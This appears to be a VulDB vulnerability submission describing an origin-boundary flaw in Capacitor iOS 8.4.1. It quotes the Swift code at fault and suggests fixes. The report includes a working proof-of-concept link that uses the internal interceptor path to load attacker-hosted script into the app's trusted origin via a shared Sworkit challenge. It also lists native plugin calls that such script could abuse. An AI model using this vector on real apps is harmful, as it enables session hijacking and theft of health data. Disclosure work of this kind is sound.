Submit #954686: Ionic Capacitor IOS (@capacitor/ios) 8.4.1 Improper Access Controlinfo

TitleIonic Capacitor IOS (@capacitor/ios) 8.4.1 Improper Access Control
DescriptionA Capacitor iOS application is a web app running inside a native WKWebView, where JavaScript executing at the app's own local origin (commonly capacitor://localhost) gains access to a privileged native bridge (Capacitor.Plugins.*) exposing device APIs and app state. The expected security boundary is that a normal link to an external site (e.g. https://example.com) leaves the trusted local origin - handled as external web content or opened outside the app - where the Capacitor bridge, local storage, and IndexedDB are unavailable. This is the same class of origin-boundary break as the Android sibling finding (submitted separately), reusing the identical http-interceptor design, but the vulnerable code paths, language, and exact mechanics are entirely iOS-specific (Swift, WKWebView, WKURLSchemeHandler, WKNavigationDelegate), so it is reported as a distinct issue. Capacitor iOS defines an internal HTTP proxy path and query parameter: public static let httpInterceptorStartIdentifier = "/_capacitor_http_interceptor_" public static let httpInterceptorUrlParam = "u" (CapacitorBridge.swift, lines 1853-1860) When the WebView navigates to capacitor://localhost/_capacitor_http_interceptor_?u=https://attacker.example/, the custom WKURLSchemeHandler implemented in WebViewAssetHandler.swift treats it as an internal Capacitor URL: if url.path.starts(with: CapacitorBridge.httpInterceptorStartIdentifier) { handleCapacitorHttpRequest(urlSchemeTask, localUrl, false) return } (WebViewAssetHandler.swift, lines 1338-1341) It then rewrites the outbound request to the attacker-supplied target and fetches it with URLSession: if let targetUrl = urlComponents?.queryItems?.first(where: { $0.name == CapacitorBridge.httpInterceptorUrlParam })?.value, !targetUrl.isEmpty { urlRequest.url = URL(string: targetUrl) } let task = URLSession.shared.dataTask(with: urlRequest) { ... } (WebViewAssetHandler.swift, lines 1519-1528) Separately, the WKNavigationDelegate's navigation-allow logic (WebViewDelegationHandler.swift, lines 1080-1103) decides whether a navigation is "application" (trusted, in-app) traffic purely by string-prefix matching the app's configured local/server URL: let isApplicationNavigation = navURL.absoluteString.starts(with: bridge.config.serverURL.absoluteString) || navURL.absoluteString.starts(with: bridge.config.localURL.absoluteString) if !isApplicationNavigation, toplevelNavigation { UIApplication.shared.open(navURL, options: [:], completionHandler: nil) decisionHandler(.cancel) return } decisionHandler(.allow) Because capacitor://localhost/_capacitor_http_interceptor_?... starts with the app's trusted local URL, this check treats it as ordinary in-app navigation and never routes it out via UIApplication.shared.open(). Combined with the scheme handler above, the WebView is made to fetch attacker-controlled remote content and inject the response into the WebView through the app's own trusted local origin. Any script returned by that attacker-controlled URL then executes with same-origin access to localStorage, sessionStorage, IndexedDB, and Capacitor.Plugins.* - the app's full native bridge - exactly as if it were first-party app code. Testing note: on iOS, the link used for delivery must NOT carry target="_blank". Capacitor's WKUIDelegate handles new-window navigations by immediately calling UIApplication.shared.open(...) (WebViewDelegationHandler.swift, lines 1426-1434), which routes those specific requests to the external browser/OS instead. A plain same-frame link (no target attribute) is the working exploit vector. Root cause (both required for a complete fix): 1. WebViewAssetHandler.swift unconditionally proxies any request whose path starts with the interceptor identifier, with no restriction to legitimate internal HTTP-plugin-initiated requests. 2. WebViewDelegationHandler.swift's isApplicationNavigation check treats the interceptor path as trusted in-app navigation purely because it string-prefixes the local URL, without excluding the interceptor path. PROOF OF CONCEPT (representative production app used for validation only: Sworkit, 5M+ installs; Sworkit was not separately notified because the root cause is entirely in Capacitor's shared framework code, not in Sworkit's own implementation): Sworkit lets any authenticated, non-privileged user create a "personal challenge" with a Quill rich-text description, later rendered in a Quill viewer where inserted links remain clickable. Steps: 1. Open Sworkit, create a personal challenge, and reach the description step. 2. Add a Quill hyperlink whose saved HTML does not include target="_blank". 3. Set the link URL to: capacitor://localhost/_capacitor_http_interceptor_?u=https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c 4. Save the challenge and share the invite link with a target. 5. When the victim taps the link, Capacitor treats it as an application-local navigation (it starts with capacitor://localhost), the scheme handler matches /_capacitor_http_interceptor_, extracts u, fetches the attacker-controlled page, and injects it into the WebView at the app's trusted local origin. A weaponized PoC URL was tested (source at https://gist.github.com/Lytes/8935b12deeae423fcccfb479a89f0335): capacitor://localhost/_capacitor_http_interceptor_?u=https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c/ The JavaScript served from that page only prints readable values - it does not exfiltrate, write, delete, or persist anything - but an attacker could trivially replace it with code exercising the full bridge, e.g.: Capacitor.Plugins.SworkitMobile.logInToFirebaseWithCustomToken({token}) // re-auth as another user if a valid token is obtained Capacitor.Plugins.SworkitMobile.healthRead({startDate,endDate}) // read raw health data Capacitor.Plugins.SworkitMobile.healthStore({...}) // write fabricated workout data Capacitor.Plugins.SworkitMobile.getRemoteConfigValueForKey({key}) // read remote config / feature flags Capacitor.Plugins.SworkitMobile.signOutNativeFirebase() // sign out the native Firebase session Capacitor.Plugins.SworkitMobile.getAdvertisingId() Capacitor.Plugins.Preferences.keys() / get({key}) / set({key,value}) / clear() // read, enumerate, write, or wipe all local key-value storage IMPACT: Full JavaScript execution at the Capacitor app's local origin inside the iOS WebView, gaining attacker-controlled access to localStorage, sessionStorage, IndexedDB, and every registered Capacitor.Plugins.* method - for Sworkit specifically, plugin methods and stored state tied to authentication, health data, purchases, preferences, notifications, and app configuration. The attack requires only a tap on attacker-controlled content rendered inside the app WebView - a realistic delivery path for apps with user-generated content: team invites, chat messages, comments, rich-text descriptions, support chat, or CMS-driven links. This is not specific to Sworkit: any Capacitor iOS app that renders user-controlled clickable links is a viable delivery surface, independent of that app's own code quality, because the flaw is in Capacitor's shared WebView/bridge plumbing. SUGGESTED FIX (both recommended): 1. In WebViewDelegationHandler.swift, reject app-local navigations whose path starts with the internal proxy path BEFORE the isApplicationNavigation allow decision: if navURL.path.starts(with: CapacitorBridge.httpInterceptorStartIdentifier) { decisionHandler(.cancel) return } (placed before the existing isApplicationNavigation check at WebViewDelegationHandler.swift lines 1080-1103) 2. In WebViewAssetHandler.swift, restrict the /_capacitor_http_interceptor_ scheme-handler branch (lines 1338-1341) so it cannot be triggered by arbitrary document/top-level-frame navigation from app content - it should only service legitimate internal HTTP-plugin-initiated requests, not user-clickable links or top-level WebView navigations. Code references: - CapacitorBridge.swift, lines 1853-1860 (interceptor constants) - WebViewAssetHandler.swift, lines 1338-1341 (scheme-handler proxy entry) and lines 1519-1528 (URL rewrite/fetch) - WebViewDelegationHandler.swift, lines 1080-1103 (navigation allow logic) and lines 1426-1434 (target="_blank" handling via UIApplication.shared.open)
Source⚠️ https://gist.github.com/Lytes/4ba313b57a433eaf19ae1e7e85f10fe2#file-capacitorjsios-md
User
 Anonymous User
Submission09/01/2026 02:17 (2 months ago)
Moderation10/10/2026 17:07 (1 month later)
StatusDuplicate
VulDB entry412763 [ionic-team Capacitor up to 6.2.1/7.6.8/8.5.0 WebView Navigation Guard cross-domain policy]
Points0

Interested in the pricing of exploits?

See the underground prices here!